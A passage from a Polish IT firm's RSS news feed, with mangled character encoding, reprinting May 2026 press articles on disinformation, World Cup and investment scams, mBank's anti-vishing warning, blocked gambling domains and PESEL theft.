and#8211;and#160;Dezinformacja oraz inne operacje informacyjne sand#261; prowadzone przez Rosjand#281; przeciwko Polsce caand#322;y czas. (and#8230;) Nie widaand#263; tych dziaand#322;aand#324;, ale sand#261; sand#261;czone na co dzieand#324;. (and#8230;)and#160;Majand#261; one na celu oszukiwanie Polakand#243;w, and#380;e paand#324;stwo polskie nie dziaand#322;a, jest z papieru; majand#261; teand#380; wspieraand#263; postawand#281; koncyliacyjnand#261;, gdyby przyszand#322;o do konfliktu zbrojnego na przykand#322;ad z Federacjand#261; Rosyjskand#261; and#8211; powiedziaand#322; pand#322;k Doniec.







and#160;




and#160;



Prezes Krajowej Rady Radcand#243;w Prawnych Wand#322;odzimierz Chrand#243;and#347;cik, zapytany o oddziaand#322;ywanie dezinformacji napand#281;dzanej przez sztucznand#261; inteligencjand#281;, stwierdziand#322;, and#380;e and#8222;z perspektywy biznesu problemem nie jest tylko fake news, ale skutki, jakie on moand#380;e wywoand#322;aand#263;, w tym utrata pand#322;ynnoand#347;ci finansowej, spadek kursu akcji na gieand#322;dzie, czyli konsekwencje ekonomiczneand#8221;. Jego zdaniem, and#8222;dzisiaj firmy jeszcze nie majand#261; standardu odpornoand#347;ci na ataki teleinformacyjneand#8221;.
and#160;
and#160;
Bardzo trudno jest rozmawiaand#263; o cyberbezpieczeand#324;stwie z polskimi przedsiand#281;biorcami?
and#8211; Jeand#347;li mand#243;wimy o zabezpieczeniu magazynu czy hali produkcyjnej, to wydanie pieniand#281;dzy na kamery, straand#380; i inne and#347;rodki wydaje siand#281; and#322;atwe. Nikt o nich nie dyskutuje. Ale wydaand#263; pand#243;and#322; miliona zand#322;otych na cyberbezpieczeand#324;stwo? To juand#380; sand#322;ychaand#263;: nie, bo przecieand#380; nie byand#322;o and#380;adnych atakand#243;w do tej pory. Dziand#347; wszyscy muszand#261; wiedzieand#263;, and#380;e zasada: zero zaufania obowiand#261;zuje kaand#380;dy podmiot, rand#243;wnieand#380; gospodarczy and#8211; wyjaand#347;niand#322; Piotrowski.
Prezes Zarzand#261;du Polskiej Wytwand#243;rni Papierand#243;w Wartoand#347;ciowych S.A. Zygmunt Kostkiewicz oceniand#322;, and#380;e rywalizacja technologiczna zwiand#261;zana z cyberbezpieczeand#324;stwem nie zwalnia tempa. and#8211; To, co dziand#347; wydaje siand#281; pewnym zabezpieczeniem, jak na przykand#322;ad biometria, moand#380;e w przyszand#322;oand#347;ci byand#263; elementem oszustw. Choand#263; raczej nie band#281;dzie to dotyczyand#263; odciskand#243;w palcand#243;w. Jednoczeand#347;nie pojawiajand#261; siand#281; narzand#281;dzia, ktand#243;re pozwalajand#261; skutecznie budowaand#263; odpornoand#347;and#263;. Ten wyand#347;cig caand#322;y czas siand#281; toczy and#8211; podkreand#347;liand#322;.





Polska Agencja Prasowa jest patronem medialnym odbywajand#261;cego siand#281; w Warszawie Polskiego Kongresu Gospodarczego.
and#160;
and#378;rodand#322;o PAP 28 maja 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Mundial - żniwa dla oszustów. Jak grzyby po deszczu rosną fałszywe strony ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1714</link>
			<description><![CDATA[ Mundial zbliand#380;a siand#281; wielkimi krokami, wiand#281;c dla oszustand#243;w zaczynajand#261; siand#281; prawdziwe and#380;niwa. Eksperci alarmujand#261;, and#380;e powstajand#261; tysiand#261;ce domen z faand#322;szywymi zakand#322;adami lub produktami FIFA. Ale przestand#281;pcy zajmujand#261; siand#281; teand#380; tradycyjnand#261;, bieand#380;and#261;cand#261; and#8222;orkand#261;and#8221;. Caand#322;y czas skutecznie wciand#261;gajand#261; Was w faand#322;szywe inwestycje and#8211; kradnand#261; pieniand#261;dze i dane.
and#160;




and#160;

fot. IMAGO /and#160;/and#160;FORUM


and#160;
and#160;
Zbliand#380;ajand#261;cy siand#281; mundial to prawdziwe and#347;wiand#281;to nie tylko dla kibicand#243;w, ale i dla oszustand#243;w. Z analizy firmy and#160;Check Point Research wynika, and#380;e tylko w kwietniu 2026 r. zarejestrowano 9741 domen zawierajand#261;cych sand#322;owa and#8222;FIFAand#8221; lub and#8222;World Cupand#8221;, a czand#281;and#347;and#263; z nich zostaand#322;a uznana za podejrzane lub zand#322;oand#347;liwe. W praktyce oznacza to faand#322;szywe sklepy z koszulkami, strony podszywajand#261;ce siand#281; pod oficjalne serwisy, podejrzane platformy bukmacherskie i witryny obiecujand#261;ce szybki zarobek za and#8222;gand#322;osowanieand#8221; na druand#380;yny.



and#160;



Mechanizm takich oszustw jest prosty. Kibic szuka okazji, trafia na stronand#281; wygland#261;dajand#261;cand#261; wiarygodnie i zostawia tam wraand#380;liwe dane. Albo wprost wpand#322;aca pieniand#261;dze na zakand#322;ady. W rzeczywistoand#347;ci to piramidy finansowe wyciand#261;gajand#261;ce depozyty od nieand#347;wiadomych uand#380;ytkownikand#243;w. To jednak nie wszystko, bo kwitnie rand#243;wnieand#380; nielegalny hazard. Wysyp chiand#324;skojand#281;zycznych witryn bukmacherskich pokazuje, and#380;e to zagroand#380;enie o zasiand#281;gu globalnym, a nie tylko lokalnym.and#160;and#160;and#160;and#160;and#160;and#160;and#160;and#160;
and#160;
Eksperci przypominajand#261;, and#380;e jedyny oficjalny adres to fifa.com. Kaand#380;da inna domena z and#8222;FIFAand#8221; w nazwie to niemal pewne oszustwo. 80% zniand#380;ki na nowand#261; koszulkand#281; reprezentacji? To nie promocja, a przynand#281;ta.  
Oszukali fanand#243;w Metalliki
W podobny sposand#243;b naciand#281;li siand#281; zresztand#261; ostatnio fani Metalliki, ktand#243;rzy szukali biletand#243;w na koncert przez wyszukiwarki i na grupach. Zamiast korzystaand#263; z jedynego oficjalnego kanaand#322;u dystrybucji i aplikacji mobilnej, pand#322;acili krocie za nic nie warte wydruki biletand#243;w lub PDF-y.and#160;



















Faand#322;szywe inwestycje w Orlen
19 maja Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci poinformowaand#322;o o sprawie 80-letniej kobiety, ktand#243;ra uwierzyand#322;a w internetowand#261; reklamand#281; faand#322;szywej inwestycji w akcje Orlenu i metale szlachetne. Najpierw zostawiand#322;a dane w formularzu, potem skontaktowaand#322; siand#281; z niand#261; rzekomy doradca finansowy. Kobieta zostaand#322;a namand#243;wiona do instalacji aplikacji do handlu online, a nastand#281;pnie do wpand#322;at. Straciand#322;a and#322;and#261;cznie 15 440 zand#322;, ale 15 tys. zand#322; udaand#322;o siand#281; zablokowaand#263; dziand#281;ki wspand#243;and#322;pracy CBZC i banku.
Tu w zasadzie teand#380; nic nowego - reklama obiecujand#261;ca szybki zysk, formularz kontaktowy, telefon lub rozmowa przez komunikator, rzekomy doradca, aplikacja inwestycyjna i presja na kolejne wpand#322;aty. W tym modelu ofiara czand#281;sto widzi w aplikacji fikcyjne zyski, co ma jand#261; przekonaand#263; do przelewania coraz wiand#281;kszych kwot.  
Uciand#281;li hydrze gand#322;owand#281;
21 maja CBZC poinformowaand#322;o o zatrzymaniu oand#347;miu osand#243;b podejrzanych m.in. o oszustwa internetowe, handel kontami bankowymi i aplikacjami pand#322;atniczymi. Wedand#322;ug policji grupa zakand#322;adaand#322;a fikcyjne sklepy internetowe i wyand#322;udzaand#322;a pieniand#261;dze od osand#243;b z caand#322;ego kraju. W sprawie jest juand#380; ponad 13 podejrzanych, jedna osoba zostaand#322;a tymczasowo aresztowana, a and#347;ledczy mand#243;wiand#261; o ponad 70 zarzutach karnych dotyczand#261;cych oszustw internetowych, prania pieniand#281;dzy i obrotu narkotykami.  
Na celowniku pacjenci
Osobny wand#261;tek dotyczy pacjentand#243;w. 19 maja MedExpress, powoand#322;ujand#261;c siand#281; na NFZ, opisaand#322; kolejnand#261; faland#281; phishingu zwiand#261;zanand#261; z rzekomym zwrotem kosztand#243;w. Oszuand#347;ci rozsyand#322;ajand#261; e-maile podszywajand#261;ce siand#281; pod Fundusz i proszand#261; o dane karty pand#322;atniczej. NFZ przypomina, and#380;e nie prosi pacjentand#243;w o numer karty, datand#281; waand#380;noand#347;ci, kod CVV ani dane logowania do bankowoand#347;ci elektronicznej.





Wspand#243;lny mianownik tych historii jest jeden: oszuand#347;ci nie potrzebujand#261; genialnego planu, jeand#347;li uda im siand#281; wywoand#322;aand#263; poand#347;piech. and#8222;Zyskand#8221;, and#8222;zwrotand#8221;, and#8222;promocjaand#8221;, and#8222;ostatnia szansaand#8221;, and#8222;potwierdand#378; kontoand#8221; albo and#8222;odbierz pieniand#261;dzeand#8221; to hasand#322;a, przy ktand#243;rych powinna zapaliand#263; siand#281; czerwona lampka.
Na koniec tradycyjne przypomnienie: Nie logujcie siand#281; do banku przez link z SMS-a, maila ani komunikatora. Nie podawajcie danych karty po to, by and#8222;odebraand#263; zwrotand#8221;. Nie instalujcie aplikacji polecanych przez rzekomego doradcand#281; inwestycyjnego. Nie ufajcie reklamom obiecujand#261;cym and#322;atwy i szybki zysk. I sprawdzajcie adres strony, bo faand#322;szywa witryna czand#281;sto wygland#261;da profesjonalnie, ale jej domena zdradza oszustwo.
and#160;
and#160;
and#378;rodand#322;o Bankier.pland#160;26 maja 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ mBank ostrzeże klienta: „To nie my do ciebie dzwonimy” ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1713</link>
			<description><![CDATA[ mBank wprowadza nowand#261; funkcjand#281; bezpieczeand#324;stwa, ktand#243;ra ma przerwaand#263; jeden z najgroand#378;niejszych scenariuszy oszustwa telefonicznego. Gdy klient zaloguje siand#281; do aplikacji w trakcie rozmowy gand#322;osowej, bank moand#380;e wyand#347;wietliand#263; mu komunikat, and#380;e w tym momencie nie prowadzi z nim rozmowy.
and#160;




and#160;

fot. mBank /and#160;/and#160;mBank


  Mechanizm jest aktywny tylko w momencie, w ktand#243;rym klient korzysta z aplikacji mBanku i nie ingeruje w rejestr poand#322;and#261;czeand#324;. Weryfikuje jedynie zajand#281;toand#347;and#263; gand#322;oand#347;nika i mikrofonu, ktand#243;ra jest wystarczajand#261;cym wskazaniem na trwajand#261;ce poand#322;and#261;czenie. and#8222;Nie mamy dostand#281;pu do informacji z kim i o czym prowadzisz rozmowand#281;and#8221; and#8211; tand#322;umaczy Jarosand#322;aw Gand#243;rski, dyrektor departamentu bezpieczeand#324;stwa w mBanku.  
Jak wygland#261;da groand#378;ny atak?
Oszust dzwoni do klienta i podaje siand#281; za pracownika banku, policjanta albo prokuratora. Przekonuje, and#380;e pieniand#261;dze na koncie sand#261; zagroand#380;one, ktoand#347; prand#243;buje zaciand#261;gnand#261;and#263; kredyt albo wand#322;aand#347;nie trwa atak na rachunek. Potem krok po kroku prowadzi ofiarand#281; przez kolejne czynnoand#347;ci: logowanie do banku, zatwierdzanie operacji, przelew, czasem takand#380;e wniosek kredytowy.
Z punktu widzenia banku wygland#261;da to szczegand#243;lnie trudno, bo wiele tych dziaand#322;aand#324; wykonuje sam klient. mBank chce w takich sytuacjach wstawiand#263; dodatkowy bezpiecznik. Chodzi o komunikat w aplikacji mobilnej, ktand#243;ry ma poinformowaand#263; uand#380;ytkownika, and#380;e bank w tym momencie do niego nie dzwoni. To prosta wiadomoand#347;and#263;, ale jej zadanie jest powaand#380;ne: wyrwaand#263; klienta z presji rozmowy i skand#322;oniand#263; go do przerwania kontaktu z osoband#261; po drugiej stronie telefonu.   
mBank chce zabezpieczyand#263; klienta na dwa fronty
Od kilku lat dziaand#322;a rozwiand#261;zanie realizujand#261;ce scenariusz, w ktand#243;rym gdy dzwoni rzeczywisty pracownik mBanku, klient dostaje powiadomienie w aplikacji mobilnej z jego danymi: imieniem i nazwiskiem. Najnowsze rozwiand#261;zanie odpowiada na scenariusz przeciwny. Oszust nie moand#380;e siand#281; uwierzytelniand#263; w aplikacji i uzasadnia to na rozmaite sposoby, co usypia czujnoand#347;and#263; klienta. Klient widzand#261;c w aplikacji ostrzeand#380;enie and#8222;nie rozmawiasz teraz z mBankiemand#8221; a jednoczeand#347;nie sand#322;yszand#261;c and#380;e ktoand#347; za pracownika siand#281; podaje, dostaje jasny sygnaand#322; aby siand#281; rozand#322;and#261;czyand#263;, bo coand#347; siand#281; nie zgadza.

Jarosand#322;aw Gand#243;rski tand#322;umaczy w rozmowie z Bankier.pl and#380;e, najwiand#281;ksze straty nie wynikajand#261; z technicznego wand#322;amania na konto, ale z manipulacji klientem.
and#8222;Z punktu widzenia ciemnej strony mocy to jest portfel, ktand#243;rym oni sobie zarzand#261;dzajand#261;. Znakomita czand#281;and#347;and#263; zyskand#243;w, niekoniecznie liczba fraudand#243;w, ale zyskand#243;w, ktand#243;re ciemna strona mocy generuje, pochodzi z fraudand#243;w zwiand#261;zanych z oszustwami. Czyli z sytuacji, w ktand#243;rych klient zostaand#322; zmanipulowany, namand#243;wiony do wykonania pewnych czynnoand#347;ci i najczand#281;and#347;ciej sam je wykonaand#322; and#8221; and#8212; mand#243;wi Gand#243;rski.
Jak dodaje, otrzeand#378;wienie przychodzi zwykle za pand#243;and#378;no. Pieniand#261;dze zdand#261;and#380;yand#322;y juand#380; opuand#347;ciand#263; rachunek, przejand#347;and#263; przez kilka kolejnych kont, trafiand#263; do portfeli kryptowalutowych albo zostaand#263; wypand#322;acone w bankomacie.  
Oszust gra na emocjach
Gand#243;rski wskazuje, and#380;e przestand#281;pcy wykorzystujand#261; dwa szczegand#243;lnie skuteczne mechanizmy. Pierwszy to obietnica zysku, czyli faand#322;szywe inwestycje, rzekome okazje and#380;ycia i narracja, and#380;e inni zarabiajand#261;, a pieniand#261;dze ofiary and#8222;leand#380;and#261; i siand#281; marnujand#261;and#8221;. Drugi to strach. W tym wariancie oszust przedstawia siand#281; jako pracownik banku, czand#281;sto z departamentu bezpieczeand#324;stwa, albo jako osoba wspand#243;and#322;pracujand#261;ca z policjand#261; czy prokuraturand#261;.





and#8222;Klient jest przekonywany, and#380;e jego and#347;rodki sand#261; pod atakiem, and#380;e ktoand#347; zasadza siand#281; na te and#347;rodki, and#380;e za chwiland#281; straci wszystkie pieniand#261;dze z konta. To jest ten jedyny, ostatni momentand#8221; and#8212; opisuje Gand#243;rski.
To wand#322;aand#347;nie w takich historiach nowa funkcja mBanku ma mieand#263; najwiand#281;ksze znaczenie. Jeand#380;eli klient, band#281;dand#261;c pod presjand#261; rozmand#243;wcy, otworzy aplikacjand#281; mobilnand#261; i zobaczy komunikat, and#380;e bank do niego nie dzwoni, powinien dostaand#263; jasny sygnaand#322;: coand#347; siand#281; nie zgadza.
and#8222;Klient dziaand#322;a na emocjach negatywnych, stara siand#281; rzeczywiand#347;cie ochroniand#263; swoje pieniand#261;dze, ale nie rozumie, and#380;e zachowujand#261;c siand#281; tak, jak gand#322;os po drugiej stronie podpowiada, robi wszystko, and#380;eby te pieniand#261;dze straciand#263;and#8221; and#8212; mand#243;wi przedstawiciel mBanku.
Gand#243;rski zwraca teand#380; uwagand#281;, and#380;e przestand#281;pcy sand#261; coraz bardziej wiarygodni. Nie chodzi juand#380; tylko o rozmowand#281; telefonicznand#261;. Ofiary dostajand#261; faand#322;szywe dokumenty, zawiadomienia, rzekome pisma procesowe albo materiaand#322;y majand#261;ce potwierdzaand#263;, and#380;e sprawa jest powaand#380;na.





and#8222;Oni sand#261; naprawdand#281; bardzo przekonujand#261;cy. Czand#281;sto podsyand#322;ajand#261; faand#322;szywand#261; dokumentacje, faand#322;szywe wyroki, idealnie podrobione zawiadomienia o wszczand#281;ciu postand#281;powania. AI robi and#347;wietnand#261; robotand#281; dla tej ciemnej strony mocy, bo te dokumenty naprawdand#281; wygland#261;dajand#261; and#347;wietnie: sand#261; w kolorze, bez band#322;and#281;dand#243;w, z wand#322;aand#347;ciwymi danymi pracownikand#243;w. Pieczand#261;tki wygland#261;dajand#261; and#347;wietnie, orzeand#322; w koronie teand#380; wygland#261;da bardzo dobrzeand#8221; and#8212; mand#243;wi Gand#243;rski.  
Aplikacja ma przerwaand#263; scenariusz oszusta
and#8222;Myand#160; moand#380;emy dziaand#322;aand#263; tylko w momencie, kiedy uand#380;ytkownik zaloguje siand#281; do aplikacji bankowej. Wtedy rzeczywiand#347;cie moand#380;emy oceniand#263;, czy takie poand#322;and#261;czenie z banku jest aktywne,and#160; i adekwatnie do tego wyand#347;wietla komunikat ostrzegawczyand#8221; and#8212; tand#322;umaczy Gand#243;rski.
and#8222;Mechanizm dziaand#322;ania sprowadza siand#281; do tego, and#380;e jeand#380;eli nikt z mBanku ani w imieniu mBanku do klienta nie dzwoni, to taki komunikat band#281;dzie siand#281; wyand#347;wietlaand#322; po otwarciu aplikacjiand#8221; and#8212; wyjaand#347;nia Gand#243;rski.
Komunikat moand#380;e pojawiand#263; siand#281; bezpoand#347;rednio po otwarciu aplikacji. Moand#380;e teand#380; zostaand#263; uruchomiony w okreand#347;lonych scenariuszach, kiedy system antyfraudowy oceni sytuacjand#281; jako podwyand#380;szonego ryzyka. Gand#243;rski podkreand#347;la, and#380;e bank nie chce and#8222;and#347;wieciand#263; klientowi po oczachand#8221; ostrzeand#380;eniem przy kaand#380;dej okazji, bo wtedy pojawiand#322;by siand#281; efekt przyzwyczajenia. Uand#380;ytkownik mand#243;gand#322;by zaczand#261;and#263; ignorowaand#263; komunikat tak samo, jak ignoruje wiele innych powiadomieand#324;.  





Kredyt teand#380; moand#380;e byand#263; sygnaand#322;em ostrzegawczym
mBank chce wykorzystywaand#263; ostrzeand#380;enie przede wszystkim przy operacjach wraand#380;liwych. Moand#380;e chodziand#263; o nietypowy przelew wysokokwotowy, ale takand#380;e o prand#243;band#281; zaciand#261;gniand#281;cia kredytu. To istotne, bo w scenariuszach oszustw telefonicznych przestand#281;pcy coraz czand#281;and#347;ciej nie ograniczajand#261; siand#281; do wyprowadzenia and#347;rodkand#243;w z rachunku. Potrafiand#261; nakand#322;oniand#263; ofiarand#281; do zaciand#261;gniand#281;cia zobowiand#261;zania, a potem do przekazania pieniand#281;dzy dalej.
and#8222;Zaciand#261;gniand#281;cie kredytu jest z naszego punktu widzenia operacjand#261; wraand#380;liwand#261;. Moand#380;e siand#281; pojawiaand#263; coand#347; takiego rand#243;wnieand#380; wtedy, kiedy klient autoryzuje nietypowy, wysokokwotowy przelew. Moand#380;e siand#281; pojawiaand#263; wtedy, jeand#380;eli klient prand#243;buje zaciand#261;gnand#261;and#263; kredytand#8221; and#8212; wskazuje Gand#243;rski.
Za decyzjand#261; o pokazaniu komunikatu stoi system antyfraudowy. Jak wyjaand#347;nia przedstawiciel mBanku, nie jest to jeden prosty mechanizm, ale poand#322;and#261;czenie klasycznych reguand#322; i modeli uczenia maszynowego.  
Samo edukowanie nie wystarcza
Nowa funkcja wpisuje siand#281; w szerszy kierunek, ktand#243;ry mBank okreand#347;la jako przechodzenie od samej edukacji do ostrzegania klienta w trakcie realnej operacji. Bank nadal chce przypominaand#263; klientom o oszustwach, ale zakand#322;ada, and#380;e wiedza przekazana wczeand#347;niej czand#281;sto nie wystarcza w momencie presji.
and#8222;To, co klientom mand#243;wimy wczeand#347;niej, klienci przyjmujand#261; z duand#380;ym zrozumieniem, natomiast krand#243;tko o tym pamiand#281;tajand#261;. Najczand#281;and#347;ciej te wiadomoand#347;ci zwiand#261;zane z bezpieczeand#324;stwem pozostajand#261; w pamiand#281;ci na dwa, trzy tygodnie, po czym ludzie zapominajand#261; o tych zasadachand#8221; and#8212; mand#243;wi Gand#243;rski.
Dlatego komunikat w aplikacji ma byand#263; czymand#347; w rodzaju przypomnienia w krytycznym momencie. Nie zastand#261;pi oczywiand#347;cie zdrowego rozsand#261;dku, ale moand#380;e pomand#243;c klientowi odzyskaand#263; kontroland#281; nad sytuacjand#261;.
and#8222;Chcemy w momencie, kiedy atak zaczyna siand#281; dziaand#263;, ostrzegaand#263; klientand#243;w, and#380;e coand#347; jest nie tak. Dawaand#263; im sygnaand#322;y, czasami nawet subtelne, ale jednak sygnaand#322;y, and#380;e moand#380;e to jest ten moment, kiedy warto siand#281; zastanowiand#263; i coand#347; zmieniand#263; albo coand#347; przerwaand#263;and#8221; and#8212; tand#322;umaczy Gand#243;rski.   
Bank rozwija komunikacjand#281; kontekstowand#261;
mBank rozwija takand#380;e tzw. komunikacjand#281; kontekstowand#261;, czyli dodatkowe ostrzeand#380;enia pojawiajand#261;ce siand#281; w procesie autoryzacji. Ich zadaniem jest przerwanie automatyzmu zatwierdzania operacji. Gand#243;rski mand#243;wi, and#380;e klienci czand#281;sto spand#281;dzajand#261; na ekranie autoryzacyjnym zaledwie kilka sekund, choand#263; komunikaty zawierajand#261; szczegand#243;and#322;y transakcji.
and#8222;Klient jest przyzwyczajony do tego, and#380;eand#160; pojawi siand#281; komunikat, przewinie, ma dwa przyciski: zatwierdzam albo odrzucam. Jak kliknie zatwierdand#378;, to leci. Z badaand#324; wychodziand#322;o nam, and#380;e klienci najczand#281;and#347;ciej przebywajand#261; na takim ekranie okoand#322;o dwand#243;ch, maksymalnie trzech sekund. Tyle, ile potrzeba, and#380;eby ekran siand#281; zaand#322;adowaand#322;, przewinand#261;and#263; go i kliknand#261;and#263; realizacjand#281;and#8221; and#8212; mand#243;wi.
W przypadku nietypowej operacji bank moand#380;e wiand#281;c pokazaand#263; dodatkowy ekran. Ma on powiedzieand#263; klientowi, and#380;e dana czynnoand#347;and#263; odbiega od jego standardowego zachowania i moand#380;e byand#263; prand#243;band#261; oszustwa.
and#8222;Dajemy klientowi jeszcze raz dodatkowo moand#380;liwoand#347;and#263; zatwierdzenia operacji, ale w niestandardowy sposand#243;b, bo on siand#281; tego ekranu nie spodziewa. Zobaczy go jedynie wtedy, jeand#380;eli coand#347; dziwnego zaczyna siand#281; dziaand#263; na jego koncie albo zaczyna wykonywaand#263; niestandardowe operacje dla siebieand#8221; and#8212; mand#243;wi Gand#243;rski.   
Czerwone and#347;wiatand#322;o w ostatnim momencie
Z perspektywy klienta najwaand#380;niejsze jest jedno: jeand#380;eli ktoand#347; przez telefon podaje siand#281; za pracownika banku, a aplikacja pokazuje komunikat, and#380;e bank nie prowadzi rozmowy, naleand#380;y przerwaand#263; poand#322;and#261;czenie i samodzielnie skontaktowaand#263; siand#281; z bankiem oficjalnym kanaand#322;em.
Gand#243;rski podkreand#347;la, and#380;e banki mogand#261; budowaand#263; coraz lepsze zabezpieczenia, ale bez and#347;wiadomoand#347;ci uand#380;ytkownikand#243;w przestand#281;pcy nadal band#281;dand#261; wykorzystywaand#263; socjotechnikand#281;.
and#8222;Kluczowe jest mand#243;wienie klientom, zanim coand#347; siand#281; zdarzy, na co powinni zwracaand#263; uwagand#281;. Bez tego nie sand#261; w stanie rozpoznaand#263;, and#380;e dzieje siand#281; coand#347; zand#322;ego. Moand#380;emy robiand#263; najlepsze zabezpieczenia, ale jeand#380;eli klienci nie wiedzand#261;, jak to ma wygland#261;daand#263;, to i tak dadzand#261; siand#281; podejand#347;and#263; najprostszej socjotechniceand#8221; and#8212; mand#243;wi przedstawiciel mBanku.
Nowy komunikat nie zablokuje kaand#380;dego oszustwa. Ma jednak zatrzymaand#263; klienta w chwili, w ktand#243;rej oszust najbardziej liczy na stres, poand#347;piech i posand#322;uszne wykonywanie poleceand#324;. Wand#322;aand#347;nie wtedy w aplikacji moand#380;e pojawiand#263; siand#281; proste zdanie: to nie my do ciebie dzwonimy.
and#160;
and#378;rodand#322;o Bankier.pl 25 maja 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Wielkie czystki w polskiej sieci. 55 tysięcy domen na "czarnej liście" fiskusa ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1712</link>
			<description><![CDATA[ W rejestrze domen, umoand#380;liwiajand#261;cych dostand#281;p do nielegalnego hazardu w sieci, jest juand#380; ponad 55 tys. wpisand#243;w i co miesiand#261;c trafia tam 700 nowych domen and#8211; podaand#322;o Ministerstwo Finansand#243;w. Wedand#322;ug resortu, udziaand#322; szarej strefy w hazardzie w necie spada a wpand#322;ywy z podatku od gier wzrosand#322;y do 299 mln zand#322; w 2025 r.  




and#160;

fot. Song_about_summer /and#160;/and#160;Shutterstock


 and#8222;Ministerstwo Finansand#243;w (MF) oraz Krajowa Administracja Skarbowa (KAS) prowadzand#261; systematyczne dziaand#322;ania, majand#261;ce na celu ograniczanie szarej strefy w obszarze gier hazardowych online. Zjawisko organizowania nielegalnych gier hazardowych w Internecie, jak rand#243;wnieand#380; nielegalnej reklamy i promocji takich gier, jest na bieand#380;and#261;co monitorowane przez KAS, a nastand#281;pnie wygaszane przy wykorzystaniu instrumentand#243;w przewidzianych w obowiand#261;zujand#261;cych przepisach prawaand#8221; and#8211; podaand#322;o Ministerstwo Finansand#243;w w odpowiedzi na pytania PAP.



and#160;



Organizacja nielegalnego handlu w necie podlega and#8211; jak wyjaand#347;niand#322;o MF and#8211; and#8222;odpowiedzialnoand#347;ci administracyjnej, w tym karom pieniand#281;and#380;nym (...), a takand#380;e odpowiedzialnoand#347;ci karnoskarbowejand#8221;. Jednand#261; z metod walki z nielegalnym hazardem w sieci jest blokowanie stron internetowych, na ktand#243;rych moand#380;na graand#263;.
and#160;

and#8222;Efektem tych dziaand#322;aand#324; jest ponad 55 tys. (w ostatnim okresie ok. 700 miesiand#281;cznie) wpisand#243;w w Rejestrze domen sand#322;uand#380;and#261;cych do oferowania gier hazardowych niezgodnie z ustawand#261; i w konsekwencji blokowanie dostand#281;pu do stron internetowych wykorzystujand#261;cych nazwy tych domenand#8221; and#8211; poinformowaand#322;o MF.

Resort podkreand#347;liand#322;, and#380;e prowadzi takand#380;e inne dziaand#322;ania, majand#261;ce na celu zwalczanie nielegalnego hazardu. Na przykand#322;ad z polskiej inicjatywy rozpoczand#281;and#322;a siand#281; dyskusja w UE na temat wzmocnienia wspand#243;and#322;pracy administracyjnej miand#281;dzy paand#324;stwami czand#322;onkowskimi w dziedzinie gier hazardowych.
and#8222;Dodatkowo Ministerstwo Finansand#243;w zwrand#243;ciand#322;o siand#281; do najwiand#281;kszych platform cyfrowych dziaand#322;ajand#261;cych w Polsce, przypominajand#261;c o obowiand#261;zujand#261;cych regulacjach dotyczand#261;cych urzand#261;dzania, reklamy i promocji gier hazardowych. Podkreand#347;lono koniecznoand#347;and#263; podejmowania skutecznych dziaand#322;aand#324; zapobiegajand#261;cych naruszeniom przepisand#243;w UGH w wyszukiwarkach i serwisach internetowych. W ramach wspand#243;and#322;pracy z platformami spoand#322;ecznoand#347;ciowymi KAS uzyskaand#322;a rand#243;wnieand#380; dostand#281;p do tzw. and#187;szybkiej and#347;cieand#380;kiand#171; zgand#322;aszania nielegalnych treand#347;ci publikowanych m.in. w serwisach META, Google czy TikTok, co umoand#380;liwia sprawniejsze usuwanie treand#347;ci naruszajand#261;cych przepisy hazardoweand#8221; and#8211; podaand#322;o MF.



















W efekcie and#8211; jak poinformowaand#322; resort finansand#243;w and#8211; spada szara strefa w grach hazardowych online. Udziaand#322; nielegalnej dziaand#322;alnoand#347;ci w grach hazardowych w internecie byand#322; szacowany na 58,6 proc. w roku 2017 a w roku 2024 byand#322;o to juand#380; 29,1 proc.
MF podaand#322;o takand#380;e, and#380;e rosnand#261; wpand#322;ywy z podatku od wygranych w konkursach, grach i zakand#322;adach wzajemnych oraz nagrand#243;d zwiand#261;zanych ze sprzedaand#380;and#261; premiowand#261;. O ile w 2022 r. wpand#322;ywy te siand#281;gnand#281;and#322;y 202 mln zand#322;, to w 2023 r. byand#322;o to juand#380; 256 mln zand#322;, w 2024 and#8211; 280 mln zand#322; a w roku 2025 and#8211; 299 mln zand#322;. Aczkolwiek resort przyznaje, and#380;e and#8222;zakres posiadanych danych podatkowych nie umoand#380;liwia podziaand#322;u tego podatku na poszczegand#243;lne kategorie/rodzaje gier, w tym wyodrand#281;bnienie podatku od wygranych w grach hazardowych onlineand#8221;.and#160;
and#160;
and#378;rodand#322;o PAP 24 maja 2026 ms/ mrr/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Złodzieje polują na Twój PESEL. Ale nie każdy wie, jak zareagować ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1711</link>
			<description><![CDATA[ 16 proc. Polakand#243;w przyznaand#322;o, and#380;e nie wie, jak zareagowaand#263; w przypadku kradzieand#380;y lub wyand#322;udzenia numeru PESEL - wynika z badania ChronPESEL.pl i Krajowego Rejestru Dand#322;ugand#243;w. Czand#281;and#347;ciej deklarowaand#322;y to osoby w wieku 18-24 lata niand#380; seniorzy, ktand#243;rzy rzadziej majand#261; do czynienia z technologiand#261;.
and#160;




and#160;

fot. Milosz Kubiak /and#160;/and#160;Shutterstock


Jak wynika z badania and#8222;Czy Polacy bojand#261; siand#281; kradzieand#380;y numeru PESELand#8221;,and#160;63 proc. ankietowanych wskazaand#322;o, and#380;e obawia siand#281; takiej sytuacji. Czand#281;and#347;ciej obawand#281; deklarowaand#322;y kobiety (67 proc.) niand#380; mand#281;and#380;czyand#378;ni (60 proc.).
